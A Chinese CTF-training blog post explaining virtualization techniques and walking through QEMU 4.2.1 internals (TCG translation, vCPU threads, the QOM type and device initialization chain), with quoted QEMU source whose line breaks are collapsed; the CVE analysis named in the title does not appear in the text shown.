当前位置: 首页 > news >正文

2022CTF培训(十三)虚拟化QEMU架构分析QEMU CVE示例分析

附件下载链接

虚拟化技术基本概念

硬件虚拟化

全虚拟化

  • 提供可以完全模拟基础硬件的VME
    • 可以在VM中运行任何能够在物理硬件上执行的软件,并且可以在每个单独的VM中运行基础硬件支持的任何OS
    • 为每个VM提供物理系统的所有服务,包括虚拟BIOS,虚拟设备和虚拟内存管理。
  • 结合二进制翻译技术和直接执行实现完全虚拟化
    • 在完整的虚拟化设计中,非敏感指令以宿主机速度执行,敏感指令由VMM(VM Manager)接管处理。

全虚拟化结构如下图所示,Guest被给予Ring1层的特权级。实际上,Guest也可以在Ring3层中执行。
在这里插入图片描述
在这里插入图片描述
由于GuestOS不是运行在内核态,所以其不能直接操作硬件设备。为了解决这个问题,VMM引用了两个机制——二进制翻译和陷入模拟。

  • 陷入模拟
    在陷入模拟方式的VMM中,客户机代码直接运行在CPU上,但降低权限(reduced privilege)。 当客户机尝试读或修改特权状态时,处理器会将控制权交给VMM的相关处理函数。 VMM随后使用解释器模拟指令并在下一条指令恢复客户机代码的直接执行。
    X86架构不能使用陷阱和模拟,因为许多如敏感非特权指令(sensitive non-privileged instructions)的阻碍。
    在这里插入图片描述

  • 二进制翻译技术(Binary Translation)

    • VMM将客户机的指令翻译为中间语言,再将中间语言经过处理后翻译为宿主机指令
    • 静态二进制翻译技术在执行前将客户机架构的程序翻译为宿主机架构的程序
    • 动态二进制翻译技术动态查找代码块中的敏感指令并处理
      如果宿主机和客户机的架构相同,其实很多代码是可以被直接执行的,但是由于X86架构中不属于特权指令的部分敏感指令的存在,这些指令需要由宿主机进行处理。因此,需要找到代码中的敏感指令,然后将其处理。

    如下图所示,特权指令cli,被动态翻译为and $0xfd, %gs:vcpu.flags,即对vcpu结构体中的flags进行操作。 在代码块的最后,跳转到doTest的翻译后的地址或直接执行的地址。
    在这里插入图片描述

准虚拟化

准虚拟化是指通过修改客户机的代码使其能够运行在VMM上。这种方法消除了VMM捕获客户机敏感指令的需要。客户机操作系统通过半虚拟化前端与VMM进行交互。运行效率高但需要修改源码因此不适应于闭源软件。

  • Hypercall技术
    客户机使用特权指令的地方要修改为hypercalls,硬件中断被轻量级的事件机制取代。对于异常,Guest OS要调用hypercalls来注册自己的异常处理函数,Syscall等中断(异常)触发时进入Ring1操作系统内核的中断处理函数,调用HyperCall至Ring0的VMM模拟后再返回。VMM给了客户机操作系统一个虚拟的寄存器组,解决了例如SGDT的敏感指令冲突问题。在访问该虚拟寄存器组的敏感寄存器时,会触发VM陷出到VMM进行处理。
    在这里插入图片描述
  • 准虚拟化I/O
    VirtIO在Linux中的实现如下图所示:
    在这里插入图片描述
    Virtio 是在半虚拟化管理程序中的一组通用模拟设备的抽象。这种设计允许管理程序通过一个应用编程接口 (API)对外提供一组通用模拟设备。通过使用半虚拟化管理程序,客户机实现一套通用的接口,来配合后面的一套后端设备模拟。后端驱动不必是通用的,只要它们实现了前端所需的行为。因此,Virtio 是一个在 Hypervisor 之上的抽象API接口,让客户机知道自己运行在虚拟化环境中,进而根据 virtio 标准与 Hypervisor 协作,从而客户机达到更好的性能。
    • 前端驱动:客户机中安装的驱动程序模块

    • 后端驱动:在 QEMU 中实现,调用主机上的物理设备,或者完全由软件实现。

    • virtio 层:虚拟队列接口,从概念上连接前端驱动和后端驱动。驱动可以根据需要使用不同数目的队列。比如 virtio-net 使用两个队列,virtio-block只使用一个队列。该队列是虚拟的,实际上是使用 virtio-ring 来实现的。

    • Host 数据发到 Guest
      在这里插入图片描述

      • KVM 通过中断的方式通知 QEMU 去写数据,放到 virtio queue 中
      • KVM 再通知 Guest 去 virtio queue 中取数据

      这样做不需要每次I/O都触发VMExit事件,陷出的处理周期很长,一次VMExit事件,就可以传输足量的数据,因此效率很高。

    • 客户机发送I/O数据的处理流程:
      在这里插入图片描述

      • 前端驱动读取io请求放入vring 然后过notify通知机制通知后端驱动处理io
      • notify操作使vcpu执行线程退出到qemu应用层,其从vring中获取客户机io请求信息,将请求线程放入aio线程池,然后vcpu线程的处理流程重新返回到客户机
      • aio线程处理完成后,通知主线程,并向客户机注入中断说明其已完成io操作
      • 客户机相应中断,并获取io请求结果和处理信息,接着继续向上层返回结果
    • VirtIO-net
      在这里插入图片描述
      多个虚机共享主机网卡 eth0,QEMU 使用标准的 tun/tap 将虚机的网络桥接到主机网卡上,每个虚机看起来有一个直接连接到主机PCI总线上的私有 virtio 网络设备。

硬件辅助虚拟化

前面全虚拟化提到过,由于x86架构部分敏感指令不是特权指令,导致CPU无法全数抛出异常,VMM无法接管全部的敏感指令。Intel为了解决这一问题提出了VT(Virtualization Technology)技术,从硬件上实现VMM。这一技术大幅提高了虚拟化效率。
支持VT的CPU有 VMX root operation 和 VMX non-root operation两种模式,VMM 可以运行在 VMX root operation模式下,客户 OS 运行在VMX non-root operation模式下。而且两种操作模式可以互相转换。运行在 VMX root operation 模式下的 VMM 通过显式一些指令切换到 VMX non-root operation 模式,这种转换称为 VM entry。 Guest OS 主动调用 VMCALL 指令时,硬件自动挂起 Guest OS,切换到 VMX root operation 模式,恢复 VMM 的运行,这种转换称为 VM exit。
在这里插入图片描述

除了0环到3环以外,CPU额外的多提供了一个环为Hypervisor专用,称为-1环。虚拟机的操作系统运行在0环上,在操作系统调用特权指令的时候,通过硬件的机制将特权指令调用转到Hypervisor上。
在这里插入图片描述
硬件辅助虚拟化的优点是在特权指令调用时,不需要半虚拟化,也不需要二进制转换,因为有了硬件的支持。缺点是需要有硬件支持。(如Intel VT, AMD SVM)
在这里插入图片描述
KVM是集成到Linux内核的Hypervisor,是X86架构且硬件支持虚拟化技术(Intel VT或AMD-V)的Linux全虚拟化解决方案。它是Linux的一个模块,利用Linux做大量的事,如任务调度、内存管理与硬件设备交互等。
Intel在CPU中完成了虚拟机CPU指令集的扩展(VT-x),KVM对VT-x进行的封装。KVM的I/O虚拟化工作借助Qemu完成。KVM通过IO与用户态完成交互,从而用户态的VMM可以间接执行VT-x指令。

操作系统级虚拟化技术

如果服务器上启动了多个服务,这些服务可能会相互影响,命名空间(namespaces)是 Linux 提供的用于分离进程树、网络接口、挂载点以及进程间通信等资源的方法。Docker利用命名空间技术实现了低资源占用的虚拟化。
Linux 的命名空间机制提供了以下七种不同的命名空间
在这里插入图片描述

  • 进程隔离
    在这里插入图片描述
    Docker客户机仅能读取其命名空间内的进程,这就是在使用 clone(2) 创建新进程时传入 CLONE_NEWPID 实现的,也就是使用 Linux 的命名空间实现进程的隔离。Docker 容器内部的任意进程都对宿主机器的进程一无所知。
  • 网络隔离
    在这里插入图片描述
    Docker 虽然可以通过命名空间创建一个隔离的网络环境,但是 Docker 中的服务仍然需要与外界相连才能发挥作用。以网桥模式为例,默认情况下,每一个容器在创建时都会创建一对虚拟网卡,两个虚拟网卡组成了数据的通道,其中一个会放在创建的容器中,另一个会加入到名为 docker0 网桥中。如果配置了端口映射,Docker就会在虚拟网桥中添加转发规则,从而将虚拟机的网络端口暴露到宿主机上
  • 挂载点
    在这里插入图片描述
    在新的进程中创建隔离的挂载点命名空间需要在 clone 函数中传入 CLONE_NEWNS,这样子进程就能得到父进程挂载点的拷贝,如果不传入这个参数子进程对文件系统的读写都会同步回父进程以及整个主机的文件系统。
    如果一个容器需要启动,那么它一定需要提供一个根文件系统(rootfs),容器需要使用这个文件系统来创建一个新的进程,所有二进制的执行都必须在这个根文件系统中

跨平台虚拟化

跨操作系统虚拟化

Wine不是Windows模拟器,其运用API转换技术,做出Linux对应到Windows相对应函数的DLL转换函数,并得以运行Windows程序。Wine支持Windows可执行文件、DLL、COM、注册表、核心功能、音频视频、打印、ODBC、调试。

跨架构虚拟化

QEMU采用动态二进制翻译技术。前端负责将目标架构代码翻译为IR,后端将IR翻译为宿主机代码。

Intel Virtualization Technology

为解决纯软件虚拟化解决方案在可靠性、安全性和性能上的不足,Intel在它的硬件产品上引入了Intel VT(Virtualization Technology)

IntelVT虚拟化技术包括分别针对处理器、芯片组、网络的IntelVT-x、IntelVT-d和IntelVT-c技术。

VMCS

VMCS是为VMX操作定义的虚拟机控制结构,用于管理VMX root 模式的陷入和VMX non-root模式的陷出以及管理non-root模式中的cpu行为。每一个虚拟cpu都必须与一个VMCS相对应。

VMCS属性

在这里插入图片描述

VMCS控制指令

  • VMPTRLD
    从指定地址加载指向当前虚拟机控制结构(VMCS)的指针
  • VMPTRST
    将指向当前虚拟机控制结构(VMCS)的指针保存至指定地址处
  • VMCLEAR
    初始化指定的虚拟机控制结构(VMCS),并将其启动状态设置为CLEAR
  • VMREAD
    从当前虚拟机控制结构(VMCS)读取指定的字段,并将其放在指定的位置
  • VMWRITE
    将指定的值写入当前虚拟机控制结构(VMCS)中的指定字段

VMCS状态转换

在这里插入图片描述

QEMU架构分析

QEMU概述

  • QEMU是基于动态二进制翻译的虚拟化软件
  • QEMU有两种操作模式
    • 系统仿真模式(系统模式)
    • 用户仿真模式(用户模式)
  • QEMU具有以下功能
    • QEMU可以在没有主机内核驱动支持的情况下运行
    • QEMU可以移植到多种操作系统(Linux/BSD/Mac OS/Windows)
    • 它提供FPU的精确软件仿真
    • QEMU用户模式支持以下功能
      • 通用Linux系统调用转换器(包括大多数ioctl)
      • 使用本机CPU clone进行clone的仿真
      • 准确的信号处理
    • QEMU系统模式支持以下功能
      • QEMU使用完整的软件MMU
      • QEMU可以选择使用内核内加速器(例如kvm)
      • 可以模拟各种硬件设备
      • 对称多处理(SMP)支持

QEMU CPU虚拟化基本架构

在这里插入图片描述

  • 使用TCG进行CPU仿真的QEMU CPU架构
    • 前端负责将目标架构代码转换为中间代码
    • 后端负责将中间代码转换为宿主机架构代码
  • 使用KVM进行CPU虚拟化的QEMU CPU架构
    • QEMU与/dev/kvm设备节点进行交互
    • KVM负责进行CPU和内存的虚拟化
    • CPU遇到I/O操作等行为都会退出执行
    • KVM尝试对其中的行为进行独立仿真
    • KVM遇到外设I/O等无法独立仿真的操作时,交由QEMU的虚拟设备进行仿真
    • 仿真后恢复CPU的运行

QEMU虚拟设备交互基本架构

在这里插入图片描述

  • 处于用户模式的QEMU软件通过IOCTL与/dev/kvm交互,控制虚拟机的准备、开启与停止。
  • 内核KVM模块在接收到QEMU的请求之后,对虚拟化需要的资源进行准备。
  • 保存HOST的状态,加载Guest的状态,通过执行VM ENTER操作进入non-root模式,逻辑CPU加载客户机虚拟CPU的信息,从而进入客户机执行阶段。
  • 客户机在执行阶段如果触发了VM EXIT操作,KVM作为VMM接管客户机事件的处理。
  • 产生内核信号和IRQ。
  • 内核需要处理的部分包括MMU的处理(如果有)和内核能处理的I/O请求。
  • 对于内核无法独立处理的IO请求,内核向QEMU发送信号,通知QEMU去处理该部分的I/O请求。

TCG

这里以qemu-v4.2.1版本的源码为例进行分析。

vCPU 的实现

x86_cpu_realizefn> qemu_init_vcpu(cs);> qemu_tcg_init_vcpu(cpu);>  qemu_thread_create(cpu->thread, thread_name, qemu_tcg_cpu_thread_fn, cpu, QEMU_THREAD_JOINABLE);

虚拟CPU执行逻辑

位于 cpus.c 的 qemu_tcg_cpu_thread_fn 函数逻辑如下:
在这里插入图片描述
可以看到,虚拟CPU线程是由一个死循环组成的,当tcg_cpu_exec函数执行返回异常时,进行处理,然后再重新返回到死循环,继续虚拟CPU线程的翻译和执行工作。

  • 虚拟CPU线程会等待主线程给予的信号,然后运行

    main();else if (autostart) {vm_start();}vm_start();> resume_all_vcpus();> CPU_FOREACH(cpu) { cpu_resume(cpu); }> cpu->stop = false;> cpu->stopped = false;> qemu_cpu_kick(cpu);> qemu_cond_broadcast(cpu->halt_cond);> if (tcg_enabled()) {if (qemu_tcg_mttcg_enabled()) {cpu_exit(cpu);} else {qemu_cpu_kick_rr_cpus();}}
    
  • 虚拟CPU线程得到cpu->halt_cond信号,然后恢复执行

    qemu_wait_io_event(cpu);> while (cpu_thread_is_idle(cpu)) { qemu_plugin_vcpu_idle_cb(cpu); }> qemu_wait_io_event_common(cpu);> atomic_mb_set(&cpu->thread_kicked, false);> process_queued_cpu_work(cpu);
    

TCG前端

TCG前端负责将目标代码翻译至IR代码,主要逻辑位于/accel/tcg/translator.ctranslator_loop函数中。
在这里插入图片描述
其中TCG定义的x86架构对应的转换操作函数结构体如下:

static const TranslatorOps i386_tr_ops = {.init_disas_context = i386_tr_init_disas_context,.tb_start           = i386_tr_tb_start,.insn_start         = i386_tr_insn_start,.breakpoint_check   = i386_tr_breakpoint_check,.translate_insn     = i386_tr_translate_insn,.tb_stop            = i386_tr_tb_stop,.disas_log          = i386_tr_disas_log,
};/* generate intermediate code for basic block 'tb'.  */
void gen_intermediate_code(CPUState *cpu, TranslationBlock *tb, int max_insns)
{DisasContext dc;translator_loop(&i386_tr_ops, &dc.base, cpu, tb, max_insns);
}

ops->translate_insn(db, cpu)函数是TCG前端的核心函数,当目标架构是x86时,该函数具体实现为i386_tr_translate_insn。

static void i386_tr_translate_insn(DisasContextBase *dcbase, CPUState *cpu)
{DisasContext *dc = container_of(dcbase, DisasContext, base);target_ulong pc_next = disas_insn(dc, cpu);if (dc->tf || (dc->base.tb->flags & HF_INHIBIT_IRQ_MASK)) {/* if single step mode, we generate only one instruction andgenerate an exception *//* if irq were inhibited with HF_INHIBIT_IRQ_MASK, we clearthe flag and abort the translation to give the irqs achance to happen */dc->base.is_jmp = DISAS_TOO_MANY;} else if ((tb_cflags(dc->base.tb) & CF_USE_ICOUNT)&& ((pc_next & TARGET_PAGE_MASK)!= ((pc_next + TARGET_MAX_INSN_SIZE - 1)& TARGET_PAGE_MASK)|| (pc_next & ~TARGET_PAGE_MASK) == 0)) {/* Do not cross the boundary of the pages in icount mode,it can cause an exception. Do it only when boundary iscrossed by the first instruction in the block.If current instruction already crossed the bound - it's ok,because an exception hasn't stopped this code.*/dc->base.is_jmp = DISAS_TOO_MANY;} else if ((pc_next - dc->base.pc_first) >= (TARGET_PAGE_SIZE - 32)) {dc->base.is_jmp = DISAS_TOO_MANY;}dc->base.pc_next = pc_next;
}

i386_tr_translate_insn函数的核心语句为target_ulong pc_next = disas_insn(dc, cpu);,其调用TCG前端的核心函数disas_insn。
在这里插入图片描述
首先,这个函数调用b = x86_ldub_code(env, s);获取pc的下一个字节,然后SWITCH检查指令的前缀。

 next_byte:b = x86_ldub_code(env, s);/* Collect prefixes.  */switch (b) {case 0xf3:prefixes |= PREFIX_REPZ;goto next_byte;case 0xf2:prefixes |= PREFIX_REPNZ;goto next_byte;case 0xf0:prefixes |= PREFIX_LOCK;goto next_byte;case 0x2e:s->override = R_CS;goto next_byte;case 0x36:s->override = R_SS;goto next_byte;case 0x3e:s->override = R_DS;goto next_byte;case 0x26:s->override = R_ES;goto next_byte;case 0x64:s->override = R_FS;goto next_byte;case 0x65:s->override = R_GS;goto next_byte;case 0x66:prefixes |= PREFIX_DATA;goto next_byte;case 0x67:prefixes |= PREFIX_ADR;goto next_byte;...

TCG前端使用另一个SWITCH去检查前缀后的操作码。以sub esp, 8为例,对应机器码为83 EC 08,因此会进入如下分枝:

    case 0x83:{int val;ot = mo_b_d(b, dflag);modrm = x86_ldub_code(env, s);mod = (modrm >> 6) & 3;rm = (modrm & 7) | REX_B(s);op = (modrm >> 3) & 7;if (mod != 3) {if (b == 0x83)s->rip_offset = 1;elses->rip_offset = insn_const_size(ot);gen_lea_modrm(env, s, modrm);opreg = OR_TMP0;} else {opreg = rm;}switch(b) {default:case 0x80:case 0x81:case 0x82:val = insn_get(env, s, ot);break;case 0x83:val = (int8_t)insn_get(env, s, MO_8);break;}tcg_gen_movi_tl(s->T1, val);gen_op(s, op, ot, opreg);}break;
  • 调用mo_b_d函数去识别指令的作用位宽
  • 然后,通过modrm = x86_ldub_code(env, s);得到第二个字节modrm;
  • 本例子中modrm为0xec,则mod=3,rm=4,op=5
  • 然后在下一个switch的case 0x83处,执行val = (int8_t)insn_get(env, s, MO_8);得到操作数为val=0x8
  • 调用tcg_gen_movi_tl(s->T1, val);,相当于中间代码s->T1 = val
  • 由于op = 5,对应OP_SUBL,调用gen_op生成中间代码reg[opreg] = reg[opreg] - s->T1
    /* i386 arith/logic operations */
    enum {OP_ADDL,OP_ORL,OP_ADCL,OP_SBBL,OP_ANDL,OP_SUBL,OP_XORL,OP_CMPL,
    };/* if d == OR_TMP0, it means memory operand (address in A0) */
    static void gen_op(DisasContext *s1, int op, MemOp ot, int d)
    {...switch(op) {...case OP_SUBL:if (s1->prefix & PREFIX_LOCK) {tcg_gen_neg_tl(s1->T0, s1->T1);tcg_gen_atomic_fetch_add_tl(s1->cc_srcT, s1->A0, s1->T0,s1->mem_index, ot | MO_LE);tcg_gen_sub_tl(s1->T0, s1->cc_srcT, s1->T1);} else {tcg_gen_mov_tl(s1->cc_srcT, s1->T0);tcg_gen_sub_tl(s1->T0, s1->T0, s1->T1);gen_op_st_rm_T0_A0(s1, ot, d);}gen_op_update2_cc(s1);set_cc_op(s1, CC_OP_SUBB + ot);break;...}
    }
    
    其中opreg为4,对应R_ESP
    enum {R_EAX = 0,R_ECX = 1,R_EDX = 2,R_EBX = 3,R_ESP = 4,R_EBP = 5,R_ESI = 6,R_EDI = 7,R_R8 = 8,R_R9 = 9,R_R10 = 10,R_R11 = 11,R_R12 = 12,R_R13 = 13,R_R14 = 14,R_R15 = 15,R_AL = 0,R_CL = 1,R_DL = 2,R_BL = 3,R_AH = 4,R_CH = 5,R_DH = 6,R_BH = 7,
    };
    

TCG后端

后端的任务是将IR转换成本地架构的机器代码,核心函数是tcg_gen_code
在这里插入图片描述
对于IR的每种类型的操作代码,此函数将其翻译到宿主机代码。在翻译过程结束时,TCG将调用类似TCG_out8的函数,将本地机器代码写入qemu的内存,其中s->code_ptr指向的内存的属性位rwx,qemu将可以运行这个地址处的目标代码。

static __attribute__((unused)) inline void tcg_out8(TCGContext *s, uint8_t v)
{*s->code_ptr++ = v;
}

QOM

QOM模块是开发人员实现各种设备的最新设备模块。
最古老的模块ad hoc使得设备的实现成为一团糟,这严重阻碍了Qemu的发展。下一个设备实现模块是qdev,它的目标是设计一个树型模块,其唯一的根表示系统总线。热插拔功能后来被添加到qdev模块中。由于设备和总线不能用简单的树型模块来描述,设计了QOM模块。QOM是Qemu本身的一种面向对象机制,旨在将所有设备抽象成类似对象的模块。QOM的一切都是一个设备。
在这里插入图片描述

TypeInfo -> TypeImpl

以 VGA设备为例,创建一个QEMU设备首先我们需要修改instance结构体。在C文件的末尾,我们需要使用type_init函数使这些类类型的实现,而type_init函数调用了type_register_static函数。其中vga_info和secondary_info是vga_pci_type_info的子类。

static const TypeInfo vga_pci_type_info = {.name = TYPE_PCI_VGA,.parent = TYPE_PCI_DEVICE,.instance_size = sizeof(PCIVGAState),.abstract = true,.class_init = vga_pci_class_init,.interfaces = (InterfaceInfo[]) {{ INTERFACE_CONVENTIONAL_PCI_DEVICE },{ },},
};static const TypeInfo vga_info = {.name          = "VGA",.parent        = TYPE_PCI_VGA,.instance_init = pci_std_vga_init,.class_init    = vga_class_init,
};static const TypeInfo secondary_info = {.name          = "secondary-vga",.parent        = TYPE_PCI_VGA,.instance_init = pci_secondary_vga_init,.class_init    = secondary_class_init,
};static void vga_register_types(void)
{type_register_static(&vga_pci_type_info);type_register_static(&vga_info);type_register_static(&secondary_info);
}type_init(vga_register_types)

由于register_module_init实现有__attribute__((constructor))属性,会在主函数之前调用,因此可以看做是定义类类型。

#define type_init(function) module_init(function, MODULE_INIT_QOM)#define module_init(function, type)                                         \
static void __attribute__((constructor)) do_qemu_init_ ## function(void)    \
{                                                                           \register_module_init(function, type);                                   \
}

register_module_init会将静态模块插入init_type_list中。

static ModuleTypeList *find_type(module_init_type type)
{init_lists();return &init_type_list[type];
}void register_module_init(void (*fn)(void), module_init_type type)
{ModuleEntry *e;ModuleTypeList *l;e = g_malloc0(sizeof(*e));e->init = fn;e->type = type;l = find_type(type);QTAILQ_INSERT_TAIL(l, e, node);
}

init_type_list结构如下图所示:
在这里插入图片描述
在修改后的函数vga_register_types中,当qemu 的main函数去初始化init_type_list中的模块时,会执行三次 type_register_static函数调用。这将调用MODULE_init_QOM列表中的init fcuntions,并调用init函数vga_register_types,后者将调用type_register_static函数来实现vga_pci的类类型。

type_register_static函数调用链如下:

type_register_static(const TypeInfo *info)> type_register(info)> type_register_internal(info)

type_register_static函数内容如下:

static TypeImpl *type_register_internal(const TypeInfo *info)
{TypeImpl *ti;ti = type_new(info);type_table_add(ti);return ti;
}

函数type_register_internal会实现一个TypeImpl的结构体,并将其添加到函数静态变量类型表中,该表只初始化一次,只能由函数type_table_get获取。
一旦我们初始化了一个类类型,我们将把它插入type_table表中,并且我们可以通过函数type_table_get访问它。

TypeImpl -> ObjectClass

在函数main中,运行标志的切换过程结束后,将调用select_machine。在select_machine中,find_default_machine被调用。在find_default_machine中,调用object_class_get_list。

int main(int argc, char **argv, char **envp)> machine_class = select_machine();> GSList *machines = object_class_get_list(TYPE_MACHINE, false);> MachineClass *machine_class = find_default_machine(machines);static MachineClass *find_default_machine(GSList *machines)
{GSList *el;for (el = machines; el; el = el->next) {MachineClass *mc = el->data;if (mc->is_default) {return mc;}}return NULL;
}

find_default_machine函数的逻辑如下图所示:
在这里插入图片描述
在object_class_get_list中,函数object_class_foreach被调用。
我们为type_table_get函数返回的每个TypeImpl执行object_class_foreach函数,该函数返回静态变量。
在此函数中,关键过程type_initialize(type)完成。

static void object_class_foreach_tramp(gpointer key, gpointer value,gpointer opaque)
{OCFData *data = opaque;TypeImpl *type = value;ObjectClass *k;type_initialize(type);k = type->class;if (!data->include_abstract && type->abstract) {return;}if (data->implements_type && !object_class_dynamic_cast(k, data->implements_type)) {return;}data->fn(k, data->opaque);
}void object_class_foreach(void (*fn)(ObjectClass *klass, void *opaque),const char *implements_type, bool include_abstract,void *opaque)
{OCFData data = { fn, implements_type, include_abstract, opaque };enumerating_types = true;g_hash_table_foreach(type_table_get(), object_class_foreach_tramp, &data);enumerating_types = false;
}GSList *object_class_get_list(const char *implements_type,bool include_abstract)
{GSList *list = NULL;object_class_foreach(object_class_get_list_tramp,implements_type, include_abstract, &list);return list;
}

在type_initialize函数中,TypeImpl是否有父类将导致不同的程序流。
如果此TypeImpl有父类,type_initialize函数将调用type_initialize(parent)首先初始化其父类。
然后将parent->class复制到ti->class,将ti->class->interfaces设置为空,并为ti->class->properties创建一个新的哈希表。
然后,对其parent->class的每个接口(抽象的类TypeImpl)执行初始化操作。
在这里插入图片描述
type_initialize_interface函数进行类型接口初始化。所有接口都应该标记为抽象属性。初始化此接口后,将其添加到ti->class->interfaces。
但是,我们需要在ti->class->interfaces中检查ti的接口是否有祖先。如果它有一个祖先,我们不需要再次初始化它,因为它祖先的接口已经被初始化了。

static void type_initialize_interface(TypeImpl *ti, TypeImpl *interface_type,TypeImpl *parent_type)
{InterfaceClass *new_iface;TypeInfo info = { };TypeImpl *iface_impl;info.parent = parent_type->name;info.name = g_strdup_printf("%s::%s", ti->name, interface_type->name);info.abstract = true;iface_impl = type_new(&info);iface_impl->parent_type = parent_type;type_initialize(iface_impl);g_free((char *)info.name);new_iface = (InterfaceClass *)iface_impl->class;new_iface->concrete_class = ti->class;new_iface->interface_type = interface_type;ti->class->interfaces = g_slist_append(ti->class->interfaces,iface_impl->class);
}for (e = parent->class->interfaces; e; e = e->next) {InterfaceClass *iface = e->data;ObjectClass *klass = OBJECT_CLASS(iface);type_initialize_interface(ti, iface->interface_type, klass->type);
}for (i = 0; i < ti->num_interfaces; i++) {TypeImpl *t = type_get_by_name(ti->interfaces[i].typename);for (e = ti->class->interfaces; e; e = e->next) {TypeImpl *target_type = OBJECT_CLASS(e->data)->type;if (type_is_ancestor(target_type, t)) {break;}}if (e) {continue;}type_initialize_interface(ti, t, t);
}

此外,如果这个TypeImpl有一个父类,则将执行以下进程,其目的是为其父类和其父类的父类等执行class_base_init操作。之后,将完成最后一个操作class_init 。

    while (parent) {if (parent->class_base_init) {parent->class_base_init(ti->class, ti->class_data);}parent = type_get_parent(parent);}if (ti->class_init) {ti->class_init(ti->class, ti->class_data);}

ObjectClass-Use struct Object as base->Instance

在初始化TypeInfo、TypeImpl、ObjectClass和InterfaceClass之后,我们需要初始化类的Instance。我们使用vga-pci.c作为例子。

static struct {const char *driver;int *flag;
} default_list[] = {{ .driver = "isa-serial",           .flag = &default_serial    },{ .driver = "isa-parallel",         .flag = &default_parallel  },{ .driver = "isa-fdc",              .flag = &default_floppy    },{ .driver = "floppy",               .flag = &default_floppy    },{ .driver = "ide-cd",               .flag = &default_cdrom     },{ .driver = "ide-hd",               .flag = &default_cdrom     },{ .driver = "ide-drive",            .flag = &default_cdrom     },{ .driver = "scsi-cd",              .flag = &default_cdrom     },{ .driver = "scsi-hd",              .flag = &default_cdrom     },{ .driver = "VGA",                  .flag = &default_vga       },{ .driver = "isa-vga",              .flag = &default_vga       },{ .driver = "cirrus-vga",           .flag = &default_vga       },{ .driver = "isa-cirrus-vga",       .flag = &default_vga       },{ .driver = "vmware-svga",          .flag = &default_vga       },{ .driver = "qxl-vga",              .flag = &default_vga       },{ .driver = "virtio-vga",           .flag = &default_vga       },{ .driver = "ati-vga",              .flag = &default_vga       },{ .driver = "vhost-user-vga",       .flag = &default_vga       },
};int qemu_opts_foreach(QemuOptsList *list, qemu_opts_loopfunc func,void *opaque, Error **errp)
{Location loc;QemuOpts *opts;int rc = 0;loc_push_none(&loc);QTAILQ_FOREACH(opts, &list->head, next) {loc_restore(&opts->loc);rc = func(opaque, opts, errp);if (rc) {break;}assert(!errp || !*errp);}loc_pop(&loc);return rc;
}static int default_driver_check(void *opaque, QemuOpts *opts, Error **errp)
{const char *driver = qemu_opt_get(opts, "driver");int i;if (!driver)return 0;for (i = 0; i < ARRAY_SIZE(default_list); i++) {if (strcmp(default_list[i].driver, driver) != 0)continue;*(default_list[i].flag) = 0;}return 0;
}static const char *
get_default_vga_model(const MachineClass *machine_class)
{if (machine_class->default_display) {return machine_class->default_display;} else if (vga_interface_available(VGA_CIRRUS)) {return "cirrus";} else if (vga_interface_available(VGA_STD)) {return "std";}return NULL;
}int main(int argc, char **argv, char **envp)
{...qemu_opts_foreach(qemu_find_opts("device"),default_driver_check, NULL, NULL);qemu_opts_foreach(qemu_find_opts("global"),default_driver_check, NULL, NULL);.../* If no default VGA is requested, the default is "none".  */if (default_vga) {vga_model = get_default_vga_model(machine_class);}...
}

首先会对deviceglobal 两个链表中的元素调用default_driver_check函数检查是否在default_list中存在,如果存在则不需要使用默认设置,因此会执行*(default_list[i].flag) = 0;
之后如果default_vga不为0则说明使用默认设置,这里的“std”表示我们的vga-pci。

#define DEFINE_PC_MACHINE(suffix, namestr, initfn, optsfn) \static void pc_machine_##suffix##_class_init(ObjectClass *oc, void *data) \{ \MachineClass *mc = MACHINE_CLASS(oc); \optsfn(mc); \mc->init = initfn; \} \static const TypeInfo pc_machine_type_##suffix = { \.name       = namestr TYPE_MACHINE_SUFFIX, \.parent     = TYPE_PC_MACHINE, \.class_init = pc_machine_##suffix##_class_init, \}; \static void pc_machine_init_##suffix(void) \{ \type_register(&pc_machine_type_##suffix); \} \type_init(pc_machine_init_##suffix)DEFINE_PC_MACHINE(isapc, "isapc", pc_init_isa,isapc_machine_options);

结合之前的分析可知,此处DEFINE_PC_MACHINE宏中的type_init实际上是register_module_init((void (*)(void))pc_machine_init_isapc, MODULE_INIT_QOM_0);
因此有如下调用链:

register_module_init((void (*)(void))pc_machine_init_isapc, MODULE_INIT_QOM_0);...	//初始化init_type_list中的模块> pc_machine_init_isapc... //type_initialize初始化类型调用class_init> pc_machine_isapc_class_init> pc_init_isa> pc_init1> pc_vga_init> pci_vga_init

这里pci_vga_init函数内容如下:

PCIDevice *pci_vga_init(PCIBus *bus)
{switch (vga_interface_type) {case VGA_CIRRUS:return pci_create_simple(bus, -1, "cirrus-vga");case VGA_QXL:return pci_create_simple(bus, -1, "qxl-vga");case VGA_STD:return pci_create_simple(bus, -1, "VGA");case VGA_VMWARE:return pci_create_simple(bus, -1, "vmware-svga");case VGA_VIRTIO:return pci_create_simple(bus, -1, "virtio-vga");case VGA_NONE:default: /* Other non-PCI types. Checking for unsupported types is alreadydone in vl.c. */return NULL;}
}

根据前面的分析,vga_interface_type 的值为VGA_STD,因此会执行pci_create_simple(bus, -1, "VGA");分支。

static const VGAInterfaceInfo vga_interfaces[VGA_TYPE_MAX] = {...[VGA_STD] = {.opt_name = "std",.name = "standard VGA",.class_names = { "VGA", "isa-vga" },},...
}static void select_vgahw(const MachineClass *machine_class, const char *p)
{...assert(vga_interface_type == VGA_NONE);for (t = 0; t < VGA_TYPE_MAX; t++) {const VGAInterfaceInfo *ti = &vga_interfaces[t];if (ti->opt_name && strstart(p, ti->opt_name, &opts)) {if (!vga_interface_available(t)) {error_report("%s not available", ti->name);exit(1);}vga_interface_type = t;break;}}...
}if (default_vga) {vga_model = get_default_vga_model(machine_class);}if (vga_model) {select_vgahw(machine_class, vga_model);}

之后的调用链如下:

pci_create_simple> pci_create_simple_multifunction> pci_create_multifunction> qdev_create> qdev_try_create> object_new> object_new_with_type> obj = g_malloc(type->instance_size);> object_initialize_with_type> type_initialize(type);> memset(obj, 0, type->instance_size);> obj->class = type->class;> object_ref(obj);> obj->properties = g_hash_table_new_full(g_str_hash, g_str_equal,NULL, object_property_free);> object_init_with_type(obj, type);> ti->instance_init(obj);> object_post_init_with_type(obj, type);

根据vga_info定义可知instance_init实际上是pci_std_vga_init

static const TypeInfo vga_info = {.name          = "VGA",.parent        = TYPE_PCI_VGA,.instance_init = pci_std_vga_init,.class_init    = vga_class_init,
};

realize VS init

初始化函数有三种:类初始化、实例初始化和实现。
很容易与类初始化和其他两个函数区分开来。
